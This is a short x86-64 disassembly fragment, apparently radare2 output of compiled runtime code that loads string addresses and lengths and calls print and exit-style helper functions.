lea rax, [0x004ae205]
mov ebx, 0x19
call fcn.00435940
mov rax, qword [rsp + 0x38]
call fcn.00435640
lea rax, [0x004ade4f]
mov ebx, 0x19
nop dword [rax]
call fcn.00435940
mov eax, dword [rsp + 0x34]
call fcn.00435640
call fcn.004352a0
call fcn.004350c0
lea rax, [0x004af896]
mov ebx, 0x1f
call fcn.004338c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045b3e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00415e20